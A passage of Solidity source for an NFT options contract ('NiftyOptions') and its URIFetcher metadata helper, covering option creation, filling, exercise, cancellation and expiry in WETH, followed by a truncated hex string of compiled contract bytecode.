strikePriceWei; uint256 premiumAmountWei; address optionFiller; uint32 startTime; uint32 duration; OptionStatus status; } event OptionCreated(uint256 indexed optionId, address indexed creator); event OptionFilled(uint256 indexed optionId, address indexed filler); event OptionCancelled(uint256 indexed optionId); event OptionExpired(uint256 indexed optionId, address sender); event OptionExercised(uint256 indexed optionId); event OptionWithdrawn(uint256 indexed optionId); modifier onlyOptionOwner(uint256 optionId) { require(_msgSender() == ownerOf(optionId), "Option: not owner"); _; } modifier withETH(uint256 amount) { if (amount > 0) { if (msg.value > 0) { require( msg.value == amount, "Option: incorrect ether value" ); WETH.deposit{ value: msg.value }(); } else { WETH.safeTransferFrom(_msgSender(), address(this), amount); } } _; } constructor(address wethAddress) { WETH = IWETH(wethAddress); } /** * @notice Initializes the Option contract as an ERC721 token. */ function initialize( string calldata _name, string calldata _symbol, address _uriFetcher ) external initializer { __ERC721_init(_name, _symbol); uriFetcher = URIFetcher(_uriFetcher); } /** * @notice Returns the token bundle assigned to the given {optionId}. * @param optionId The ID to query token bundle info. */ function bundleOf(uint256 optionId) external view returns (TokenBundle memory) { return _bundles[optionId]; } /** * @notice Gets the contract metadata URI from the URIFetcher. * @return The contract URI hash */ function contractURI() external view returns (string memory) { return uriFetcher.fetchContractURI(); } /** * @notice Gets the token metadata URI from the URIFetcher. * @param tokenId Token ID to get URI for. * @return The token URI hash */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); return uriFetcher.fetchOptionURI(tokenId); } /** * @notice Creates a new option for a bundle of tokens and mints an Option NFT. * @param bundle Data describing which tokens to create the option with. * @param strikePriceWei Floor price in wei for the entire token bundle. * @param duration Max duration, in seconds, the option will last after being filled. */ function createOption( TokenBundle calldata bundle, uint256 premiumAmountWei, uint256 strikePriceWei, uint32 duration ) external payable withETH(premiumAmountWei) returns (uint256 optionId_) { require( duration >= ONE_DAY && duration <= ONE_YEAR, "Option: invalid duration" ); require( strikePriceWei > premiumAmountWei, "Option: unfavorable strike price" ); // Pull the tokens into escrow _transferTokenBundleIn(bundle); // Increment ID counter optionId_ = optionsCount++; // Initialize the options struct data OptionData storage opt = options[optionId_]; opt.strikePriceWei = strikePriceWei; opt.premiumAmountWei = premiumAmountWei; opt.duration = duration; // Set the token bundle for option _bundles[optionId_] = bundle; // Mint the option NFT for the creator _mint(_msgSender(), optionId_); emit OptionCreated(optionId_, _msgSender()); } /* * @notice Used by the option owner to retrieve the escrowed tokens. * @param optionId ID of the option to cancel * * Requirements: * - {optionId} must exists * - {_msgSender} must be the option owner */ function cancelOption(uint256 optionId) external onlyOptionOwner(optionId) { OptionData storage opt = options[optionId]; require(opt.status < OptionStatus.exercised, "Option: option closed"); // Prevent re-entrancy [assume the NFT can call this method on SafeTransferFrom] OptionStatus originalStatus = opt.status; opt.status = OptionStatus.cancelled; // Return the NFT to the option owner _transferOptionBundle(optionId, ownerOf(optionId), true); if (originalStatus == OptionStatus.unfilled && opt.premiumAmountWei > 0) { // Return premium amount to the owner WETH.safeTransfer(ownerOf(optionId), opt.premiumAmountWei); } else if (originalStatus == OptionStatus.filled) { // Return strike value to the filler WETH.safeTransfer(opt.optionFiller, opt.strikePriceWei); } // Burn the option token _burn(optionId); emit OptionCancelled(optionId); } /** * @notice Deletes an option that is expired. Sends option token bundle back to owner and strike price to filler. * @param optionId The option ID to expire * * Requirements: * - status must be filled * - option must be expired */ function expireOption(uint256 optionId) external { OptionData storage opt = options[optionId]; require(opt.status == OptionStatus.filled, "Option: status not filled"); require( block.timestamp >= (opt.startTime + opt.duration), "Option: not expired" ); // Prevent re-entrancy [assume the NFT can call this method on SafeTransferFrom] opt.status = OptionStatus.expired; // Return the NFT to the option owner bool didFail = _transferOptionBundle(optionId, ownerOf(optionId), false); if (didFail) { _expiredLastOwner[optionId] = ownerOf(optionId); } // Return strike ether to the filler WETH.safeTransfer(opt.optionFiller, opt.strikePriceWei); // Burn the option token _burn(optionId); emit OptionExpired(optionId, _msgSender()); } /** * @notice Fills an option with the strike price and start the expiration clock. * @param optionId The option ID to fill. * * Requirements: * - option token must exist * - status must be less than {OptionStatus.filled} enum value * - {msg.value} or WETH balance approved must match {strikePrice - premiumAmount} */ function fillOption(uint256 optionId) external payable withETH(options[optionId].strikePriceWei - options[optionId].premiumAmountWei) { OptionData storage opt = options[optionId]; require(_exists(optionId), "Option: non-existent"); require(opt.status < OptionStatus.filled, "Option: previously filled"); // Start options contract opt.optionFiller = _msgSender(); opt.status = OptionStatus.filled; opt.startTime = uint32(block.timestamp); emit OptionFilled(optionId, opt.optionFiller); } /* * @notice Used by the option owner to retrieve the escrowed ETH. * @param optionId The option ID to exercise. * * Requirements: * - {_msgSender} must be the option owner * - status must be filled * - must not be expired */ function exerciseOption(uint256 optionId) external onlyOptionOwner(optionId) { OptionData storage opt = options[optionId]; require(opt.status == OptionStatus.filled, "Option: status not filled"); require( block.timestamp < (opt.startTime + opt.duration), "Option: expired" ); // Prevent re-entrancy [assume the NFT can call this method on SafeTransferFrom] opt.status = OptionStatus.exercised; // Send the strike ether to the optionOwner WETH.safeTransfer(ownerOf(optionId), opt.strikePriceWei); // Send the NFT to the option filler _transferOptionBundle(optionId, opt.optionFiller, false); // Burn the option token _burn(optionId); emit OptionExercised(optionId); } /* * @notice Used to withdraw an expired option to the filler * @param optionId The option ID to exercise. * * Requirements: * - status must be `exercised` OR `expired` */ function withdrawExpiredOptionBundle(uint256 optionId) external { OptionData storage opt = options[optionId]; address claimee; if (opt.status == OptionStatus.exercised) { claimee = opt.optionFiller; } else if (opt.status == OptionStatus.expired) { claimee = _expiredLastOwner[optionId]; } // Ensure we have a valid claimee address require(claimee != address(0), "Option: unknown claimee"); // Send the NFT to the claimee _transferOptionBundle(optionId, claimee, true); emit OptionWithdrawn(optionId); } /* Token Transfer Functions */ /** * @dev Transfers a {tokenType} based on the encoded {data}. */ function _transferToken(TokenType tokenType, bytes memory data, bool revertFail) internal returns (bool failed_) { failed_ = _transferToken(tokenType, data, "", revertFail); } /** * @dev Transfers a {tokenType} based on the encoded {details}. If token is 721 or 1155 can also pass {transferData} * to send with the safe transfer call. * Encoded details follows the format of: * `abi.encode(from, to, token, tokenId, amount)` */ function _transferToken( TokenType tokenType, bytes memory details, bytes memory transferData, bool revertFail ) internal returns (bool failed_) { ( address from, address to, address token, uint256 tokenId, uint256 amount ) = abi.decode(details, (address, address, address, uint256, uint256)); if (tokenType == TokenType.ERC721) { require(amount == 1, "Option: 721 amount not 1"); try IERC721(token).safeTransferFrom(from, to, tokenId, transferData) { } catch (bytes memory returnData) { failed_ = true; if (revertFail) { assembly { let returnData_size := mload(returnData) revert(add(32, returnData), returnData_size) } } } } else if (tokenType == TokenType.ERC1155) { try IERC1155(token).safeTransferFrom(from, to, tokenId, amount, transferData) { } catch (bytes memory returnData) { failed_ = true; if (revertFail) { assembly { let returnData_size := mload(returnData) revert(add(32, returnData), returnData_size) } } } } } /** * @dev Transfers a bundle of tokens during the creation of an option. 721 and 1155 tokens are passed transfer token * data to ensure it was transferred and received in the same tx. * @param bundle Data containing details of the tokens to transfer. */ function _transferTokenBundleIn(TokenBundle calldata bundle) internal { uint256 expectedLength = bundle.types.length; require( expectedLength == bundle.addresses.length && expectedLength == bundle.ids.length && expectedLength == bundle.amounts.length, "Option: bundle lengths mismatch" ); for (uint256 i; i < bundle.types.length; i++) { bytes memory data = abi.encode( _msgSender(), address(this), bundle.addresses[i], bundle.ids[i], bundle.amounts[i] ); _transferToken( bundle.types[i], data, abi.encode(_encodeTokenTransferData()), true ); } } /** * @dev Transfers an option's token bundle {to} a specified recipient. * @param optionId The option ID to get token bundle details. * @param to Address to receive the token bundle. */ function _transferOptionBundle(uint256 optionId, address to, bool revertFail) internal returns (bool failed_) { TokenBundle storage bundle = _bundles[optionId]; for (uint256 i; i < bundle.types.length; i++) { bytes memory data = abi.encode( address(this), to, bundle.addresses[i], bundle.ids[i], bundle.amounts[i] ); bool didFail = _transferToken(bundle.types[i], data, revertFail); if (!failed_ && didFail) { failed_ = true; } } } /* Token Receiver Hooks */ /** * @dev Encodes this contract address and the block number for verification. */ function _encodeTokenTransferData() private view returns (bytes32) { return keccak256(abi.encodePacked(address(this), block.number)); } /** * @dev Verifies that the ERC721 or ERC1155 token was transferred by this contract in the same block. * @dev This function should be used by the receive hook functions defined below. * @param data The encode data that was created via the `createOption` function. */ function _verifyNFTData(bytes calldata data) private view { // NOTE: msg.sender should be the token contract as it is the one calling the hook require( abi.decode(data, (bytes32)) == _encodeTokenTransferData(), "Option: invalid deposit" ); } /** * @dev See {IERC721-onERC721Received} */ function onERC721Received( address, /* operator */ address, /* from */ uint256, /* tokenId */ bytes calldata data ) external view override returns (bytes4) { _verifyNFTData(data); return bytes4( keccak256("onERC721Received(address,address,uint256,bytes)") ); } /** * @dev See {IERC1155.onERC1155Received} */ function onERC1155Received( address, /* operator */ address, /* from */ uint256, /* id */ uint256, /* value */ bytes calldata data ) external view override returns (bytes4) { _verifyNFTData(data); return bytes4( keccak256( "onERC1155Received(address,address,uint256,uint256,bytes)" ) ); } /** * @dev See {IERC721-onERC1155BatchReceived} */ function onERC1155BatchReceived( address, /* operator */ address, /* from */ uint256[] calldata, /* ids */ uint256[] calldata, /* values */ bytes calldata /* data */ ) external pure override returns (bytes4) { return ""; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // Contracts import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./NiftyOptions.sol"; // Interfaces import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol"; contract URIFetcher is Initializable, OwnableUpgradeable { using Strings for uint256; string internal _baseURI; struct TokenBundle { uint8[] types; address[] addresses; uint256[] ids; uint256[] amounts; } function initialize(string calldata _initialContractURI) external initializer { __Ownable_init_unchained(); _baseURI = _initialContractURI; } /** * @notice Sets the Option contract metadata URI. * example: _baseURI ="https://api.niftyoptions.org/metadata/" * * Requirements: * - {_msgSender} must be the owner */ function setBaseURI(string calldata _uri) external onlyOwner { _baseURI = _uri; } /** * @notice Fetches the Option contract metadata URI. * @return Contract URI hash */ function fetchContractURI() external view returns (string memory) { return string(abi.encodePacked(_baseURI, "contract")); } /** * @notice Fetches the URI of the first token that is in the {Option.TokenBundle} * @param optionId The ID of the option to query * @return String of the option URI */ function fetchOptionURI(uint256 optionId) public view returns (string memory) { return string(abi.encodePacked(_baseURI, "token/", optionId.toString(),".json" )); } }
0x6080604052600436106101d85760003560e01c806370a0823111610102578063c87b56dd11610095578063e985e9c511610064578063e985e9c5146105f4578063ed9535511461063d578063f23a6e6114610650578063f52f25261461067057600080fd5b8063c87b56dd1461057f578063de6bf6351461059f578063e8a3d485146105bf578063e8a9155f146105d457600080fd5b8063a51a28e1116100d1578063a51a28e1146104ef578063ad5c464814610502578063b88d4fde14610536578063bc197c811461055657600080fd5b806370a0823114610483578063863e76db146104a357806395d89b41146104ba578063a22cb465146104cf57600080fd5b806316d3bfbb1161017a578063409e220511610149578063409e2205146103a557806342842e0e146104235780635986ccfb146104435780636352211e1461046357600080fd5b806316d3bfbb146103075780631a1dbabb146103345780631e027d911461035857806323b872dd1461038557600080fd5b8063077f224a116101b6578063077f224a14610256578063081812fc14610276578063095ea7b3146102ae578063150b7a02146102ce57600080fd5b806301ffc9a7146101dd57806302f126e81461021257806306fdde0314610234575b600080fd5b3480156101e957600080fd5b506101fd6101f836600461328f565b610690565b60405190151581526020015b60405180910390f35b34801561021e57600080fd5b5061023261022d366004613277565b6106e2565b005b34801561024057600080fd5b506102496108d2565b6040516102099190613575565b34801561026257600080fd5b506102326102713660046132e3565b610964565b34801561028257600080fd5b50610296610291366004613277565b610a63565b6040516001600160a01b039091168152602001610209565b3480156102ba57600080fd5b506102326102c9366004613230565b610af8565b3480156102da57600080fd5b506102ee6102e9366004613071565b610c0e565b6040516001600160e01b03199091168152602001610209565b34801561031357600080fd5b5061031f6301e1338081565b60405163ffffffff9091168152602001610209565b34801561034057600080fd5b5061034a60975481565b604051908152602001610209565b34801561036457600080fd5b50610378610373366004613277565b610c45565b6040516102099190613679565b34801561039157600080fd5b506102326103a0366004613031565b610e30565b3480156103b157600080fd5b506104116103c0366004613277565b6099602052600090815260409020805460018201546002909201549091906001600160a01b0381169063ffffffff600160a01b8204811691600160c01b81049091169060ff600160e01b9091041686565b60405161020996959493929190613727565b34801561042f57600080fd5b5061023261043e366004613031565b610e61565b34801561044f57600080fd5b5061023261045e366004613277565b610e7c565b34801561046f57600080fd5b5061029661047e366004613277565b610fb7565b34801561048f57600080fd5b5061034a61049e366004612ec5565b61102e565b3480156104af57600080fd5b5061031f6201518081565b3480156104c657600080fd5b506102496110b5565b3480156104db57600080fd5b506102326104ea366004613203565b6110c4565b6102326104fd366004613277565b611189565b34801561050e57600080fd5b506102967f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b34801561054257600080fd5b506102326105513660046130e2565b611415565b34801561056257600080fd5b506102ee610571366004612f76565b600098975050505050505050565b34801561058b57600080fd5b5061024961059a366004613277565b61144d565b3480156105ab57600080fd5b506102326105ba366004613277565b61154c565b3480156105cb57600080fd5b50610249611782565b3480156105e057600080fd5b50609854610296906001600160a01b031681565b34801561060057600080fd5b506101fd61060f366004612f3e565b6001600160a01b039182166000908152606a6020908152604080832093909416825291909152205460ff1690565b61034a61064b3660046133d7565b611808565b34801561065c57600080fd5b506102ee61066b366004613189565b611a5a565b34801561067c57600080fd5b5061023261068b366004613277565b611a92565b60006001600160e01b031982166380ac58cd60e01b14806106c157506001600160e01b03198216635b5e139f60e01b145b806106dc57506301ffc9a760e01b6001600160e01b03198316145b92915050565b600081815260996020526040902060016002820154600160e01b900460ff16600481111561072057634e487b7160e01b600052602160045260246000fd5b1461076e5760405162461bcd60e51b815260206004820152601960248201527813dc1d1a5bdb8e881cdd185d1d5cc81b9bdd08199a5b1b1959603a1b60448201526064015b60405180910390fd5b60028101546107939063ffffffff600160c01b8204811691600160a01b900416613832565b63ffffffff164210156107de5760405162461bcd60e51b815260206004820152601360248201527213dc1d1a5bdb8e881b9bdd08195e1c1a5c9959606a1b6044820152606401610765565b60028101805460ff60e01b1916600160e21b17905560006108098361080281610fb7565b6000611c8b565b905080156108475761081a83610fb7565b6000848152609b6020526040902080546001600160a01b0319166001600160a01b03929092169190911790555b60028201548254610886916001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2811692911690611e0d565b61088f83611e70565b827f35389c921d047949f57809053771a03c3c9a0cd56bd024749793e1c3a80cc4b8336040516001600160a01b03909116815260200160405180910390a2505050565b6060606580546108e190613945565b80601f016020809104026020016040519081016040528092919081815260200182805461090d90613945565b801561095a5780601f1061092f5761010080835404028352916020019161095a565b820191906000526020600020905b81548152906001019060200180831161093d57829003601f168201915b5050505050905090565b600054610100900460ff168061097d575060005460ff16155b6109995760405162461bcd60e51b8152600401610765906135da565b600054610100900460ff161580156109bb576000805461ffff19166101011790555b610a2e86868080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050604080516020601f8a018190048102820181019092528881529250889150879081908401838280828437600092019190915250611f0b92505050565b609880546001600160a01b0319166001600160a01b0384161790558015610a5b576000805461ff00191690555b505050505050565b6000818152606760205260408120546001600160a01b0316610adc5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610765565b506000908152606960205260409020546001600160a01b031690565b6000610b0382610fb7565b9050806001600160a01b0316836001600160a01b03161415610b715760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610765565b336001600160a01b0382161480610b8d5750610b8d813361060f565b610bff5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610765565b610c098383611f92565b505050565b6000610c1a8383612000565b507f150b7a023d4804d13e8c85fb27262cb750cf6ba9f9dd3bb30d90f482ceeb4b1f95945050505050565b610c706040518060800160405280606081526020016060815260200160608152602001606081525090565b6000828152609a60209081526040918290208251815460a093810282018401909452608081018481529093919284928491840182828015610d0e57602002820191906000526020600020906000905b82829054906101000a900460ff166001811115610cec57634e487b7160e01b600052602160045260246000fd5b815260206001928301818104948501949093039092029101808411610cbf5790505b5050505050815260200160018201805480602002602001604051908101604052809291908181526020018280548015610d7057602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d52575b5050505050815260200160028201805480602002602001604051908101604052809291908181526020018280548015610dc857602002820191906000526020600020905b815481526020019060010190808311610db4575b5050505050815260200160038201805480602002602001604051908101604052809291908181526020018280548015610e2057602002820191906000526020600020905b815481526020019060010190808311610e0c575b5050505050815250509050919050565b610e3a3382612065565b610e565760405162461bcd60e51b815260040161076590613628565b610c0983838361215c565b610c0983838360405180602001604052806000815250611415565b600081815260996020526040812090600280830154600160e01b900460ff166004811115610eba57634e487b7160e01b600052602160045260246000fd5b1415610ed4575060028101546001600160a01b0316610f24565b60046002830154600160e01b900460ff166004811115610f0457634e487b7160e01b600052602160045260246000fd5b1415610f2457506000828152609b60205260409020546001600160a01b03165b6001600160a01b038116610f7a5760405162461bcd60e51b815260206004820152601760248201527f4f7074696f6e3a20756e6b6e6f776e20636c61696d65650000000000000000006044820152606401610765565b610f8683826001611c8b565b5060405183907fe6408e3571b69c660ec07bf4834881b7f8abd68cac1136ce3d946cc8ac9c6e1490600090a2505050565b6000818152606760205260408120546001600160a01b0316806106dc5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610765565b60006001600160a01b0382166110995760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610765565b506001600160a01b031660009081526068602052604090205490565b6060606680546108e190613945565b6001600160a01b03821633141561111d5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610765565b336000818152606a602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6000818152609960205260409020600181015490546111a8919061385a565b80156112b357341561127c578034146112035760405162461bcd60e51b815260206004820152601d60248201527f4f7074696f6e3a20696e636f72726563742065746865722076616c75650000006044820152606401610765565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561125e57600080fd5b505af1158015611272573d6000803e3d6000fd5b50505050506112b3565b6112b3335b6001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2169030846122fc565b60008281526099602090815260408083206067909252909120546001600160a01b03166113195760405162461bcd60e51b815260206004820152601460248201527313dc1d1a5bdb8e881b9bdb8b595e1a5cdd195b9d60621b6044820152606401610765565b60016002820154600160e01b900460ff16600481111561134957634e487b7160e01b600052602160045260246000fd5b106113965760405162461bcd60e51b815260206004820152601960248201527f4f7074696f6e3a2070726576696f75736c792066696c6c6564000000000000006044820152606401610765565b600281018054600168ff000000000000000160a01b0319163317600160e01b1763ffffffff60a01b198116600160a01b4263ffffffff16029081179092556040516001600160a01b0391821691909216179084907fe120a60cca10876b773f0e681c58dbe37009b191fd62d6599c157ddac09ecebb90600090a3505050565b61141f3383612065565b61143b5760405162461bcd60e51b815260040161076590613628565b61144784848484612334565b50505050565b6000818152606760205260409020546060906001600160a01b03166114cc5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610765565b609854604051639b1b58e960e01b8152600481018490526001600160a01b0390911690639b1b58e99060240160006040518083038186803b15801561151057600080fd5b505afa158015611524573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106dc9190810190613364565b8061155681610fb7565b6001600160a01b0316336001600160a01b0316146115aa5760405162461bcd60e51b815260206004820152601160248201527027b83a34b7b71d103737ba1037bbb732b960791b6044820152606401610765565b6000828152609960205260409020600280820154600160e01b900460ff1660048111156115e757634e487b7160e01b600052602160045260246000fd5b1061162c5760405162461bcd60e51b815260206004820152601560248201527413dc1d1a5bdb8e881bdc1d1a5bdb8818db1bdcd959605a1b6044820152606401610765565b60028101805460ff60e01b198116600360e01b17909155600160e01b900460ff166116618461165a81610fb7565b6001611c8b565b50600081600481111561168457634e487b7160e01b600052602160045260246000fd5b148015611695575060008260010154115b156116e1576116dc6116a685610fb7565b60018401546001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2169190611e0d565b611748565b600181600481111561170357634e487b7160e01b600052602160045260246000fd5b14156117485760028201548254611748916001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2811692911690611e0d565b61175184611e70565b60405184907f7621a0eef8c39766512e6fd0e8f1bc133ec9b9b2ade3f1732962a1905002f1f990600090a250505050565b60985460408051631346b0ed60e21b815290516060926001600160a01b031691634d1ac3b4916004808301926000929190829003018186803b1580156117c757600080fd5b505afa1580156117db573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526118039190810190613364565b905090565b60008380156118e85734156118df578034146118665760405162461bcd60e51b815260206004820152601d60248201527f4f7074696f6e3a20696e636f72726563742065746865722076616c75650000006044820152606401610765565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b1580156118c157600080fd5b505af11580156118d5573d6000803e3d6000fd5b50505050506118e8565b6118e833611281565b6201518063ffffffff84161080159061190b57506301e1338063ffffffff841611155b6119575760405162461bcd60e51b815260206004820152601860248201527f4f7074696f6e3a20696e76616c6964206475726174696f6e00000000000000006044820152606401610765565b8484116119a65760405162461bcd60e51b815260206004820181905260248201527f4f7074696f6e3a20756e6661766f7261626c6520737472696b652070726963656044820152606401610765565b6119af86612367565b609780549060006119bf83613980565b909155506000818152609960209081526040808320888155600181018a905560028101805463ffffffff60c01b1916600160c01b63ffffffff8b1602179055609a909252909120919350908790611a168282613a22565b50611a2390503384612598565b604051339084907f510ca2b3f14ad2212443ce4234f1889ca3f2184cead678709bcb9c2d55b9c1cd90600090a35050949350505050565b6000611a668383612000565b507ff23a6e612e1ff4830e658fe43f4e3cb4a5f8170bd5d9e69fb5d7a7fa9e4fdf979695505050505050565b80611a9c81610fb7565b6001600160a01b0316336001600160a01b031614611af05760405162461bcd60e51b815260206004820152601160248201527027b83a34b7b71d103737ba1037bbb732b960791b6044820152606401610765565b600082815260996020526040902060016002820154600160e01b900460ff166004811115611b2e57634e487b7160e01b600052602160045260246000fd5b14611b775760405162461bcd60e51b815260206004820152601960248201527813dc1d1a5bdb8e881cdd185d1d5cc81b9bdd08199a5b1b1959603a1b6044820152606401610765565b6002810154611b9c9063ffffffff600160c01b8204811691600160a01b900416613832565b63ffffffff164210611be25760405162461bcd60e51b815260206004820152600f60248201526e13dc1d1a5bdb8e88195e1c1a5c9959608a1b6044820152606401610765565b60028101805460ff60e01b1916600160e11b179055611c36611c0384610fb7565b82546001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2169190611e0d565b6002810154611c519084906001600160a01b03166000611c8b565b50611c5b83611e70565b60405183907f40fa53b29d8c15f04aaf47eb5ff1233fa5375ea930eeb743a7753617151bd97390600090a2505050565b6000838152609a60205260408120815b8154811015611e045760003086846001018481548110611ccb57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546002860180546001600160a01b039092169186908110611d0757634e487b7160e01b600052603260045260246000fd5b9060005260206000200154866003018681548110611d3557634e487b7160e01b600052603260045260246000fd5b60009182526020918290200154604080516001600160a01b039788169381019390935294861694820194909452939091166060840152608083015260a082015260c00160405160208183030381529060405290506000611dd8846000018481548110611db157634e487b7160e01b600052603260045260246000fd5b90600052602060002090602091828204019190069054906101000a900460ff1683886126da565b905084158015611de55750805b15611def57600194505b50508080611dfc90613980565b915050611c9b565b50509392505050565b6040516001600160a01b038316602482015260448101829052610c0990849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526126f7565b6000611e7b82610fb7565b9050611e88600083611f92565b6001600160a01b0381166000908152606860205260408120805460019290611eb190849061385a565b909155505060008281526067602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b600054610100900460ff1680611f24575060005460ff16155b611f405760405162461bcd60e51b8152600401610765906135da565b600054610100900460ff16158015611f62576000805461ffff19166101011790555b611f6a6127c9565b611f726127c9565b611f7c8383612835565b8015610c09576000805461ff0019169055505050565b600081815260696020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611fc782610fb7565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6120086128ca565b61201482840184613277565b146120615760405162461bcd60e51b815260206004820152601760248201527f4f7074696f6e3a20696e76616c6964206465706f7369740000000000000000006044820152606401610765565b5050565b6000818152606760205260408120546001600160a01b03166120de5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610765565b60006120e983610fb7565b9050806001600160a01b0316846001600160a01b031614806121245750836001600160a01b031661211984610a63565b6001600160a01b0316145b8061215457506001600160a01b038082166000908152606a602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661216f82610fb7565b6001600160a01b0316146121d75760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610765565b6001600160a01b0382166122395760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610765565b612244600082611f92565b6001600160a01b038316600090815260686020526040812080546001929061226d90849061385a565b90915550506001600160a01b038216600090815260686020526040812080546001929061229b90849061381a565b909155505060008181526067602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6040516001600160a01b03808516602483015283166044820152606481018290526114479085906323b872dd60e01b90608401611e39565b61233f84848461215c565b61234b8484848461290c565b6114475760405162461bcd60e51b815260040161076590613588565b60006123738280613779565b915061238490506020830183613779565b9050811480156123a1575061239c6040830183613779565b905081145b80156123ba57506123b56060830183613779565b905081145b6124065760405162461bcd60e51b815260206004820152601f60248201527f4f7074696f6e3a2062756e646c65206c656e67746873206d69736d61746368006044820152606401610765565b60005b6124138380613779565b9050811015610c09576000333061242d6020870187613779565b8581811061244b57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906124609190612ec5565b61246d6040880188613779565b8681811061248b57634e487b7160e01b600052603260045260246000fd5b905060200201358780606001906124a29190613779565b878181106124c057634e487b7160e01b600052603260045260246000fd5b604080516001600160a01b03988916602082810191909152978916918101919091529690941660608701525060808501919091529102013560a082015260c00160408051601f19818403018152919052905061258361251f8580613779565b8481811061253d57634e487b7160e01b600052603260045260246000fd5b905060200201602081019061255291906132c7565b8261255b6128ca565b60405160200161256d91815260200190565b6040516020818303038152906040526001612a19565b5050808061259090613980565b915050612409565b6001600160a01b0382166125ee5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610765565b6000818152606760205260409020546001600160a01b0316156126535760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610765565b6001600160a01b038216600090815260686020526040812080546001929061267c90849061381a565b909155505060008181526067602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600061215484846040518060200160405280600081525085612a19565b600061274c826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612c2b9092919063ffffffff16565b805190915015610c09578080602001905181019061276a919061325b565b610c095760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610765565b600054610100900460ff16806127e2575060005460ff16155b6127fe5760405162461bcd60e51b8152600401610765906135da565b600054610100900460ff16158015612820576000805461ffff19166101011790555b8015612832576000805461ff00191690555b50565b600054610100900460ff168061284e575060005460ff16155b61286a5760405162461bcd60e51b8152600401610765906135da565b600054610100900460ff1615801561288c576000805461ffff19166101011790555b825161289f906065906020860190612da2565b5081516128b3906066906020850190612da2565b508015610c09576000805461ff0019169055505050565b6040516bffffffffffffffffffffffff193060601b16602082015243603482015260009060540160405160208183030381529060405280519060200120905090565b60006001600160a01b0384163b15612a0e57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906129509033908990889088906004016134fe565b602060405180830381600087803b15801561296a57600080fd5b505af192505050801561299a575060408051601f3d908101601f19168201909252612997918101906132ab565b60015b6129f4573d8080156129c8576040519150601f19603f3d011682016040523d82523d6000602084013e61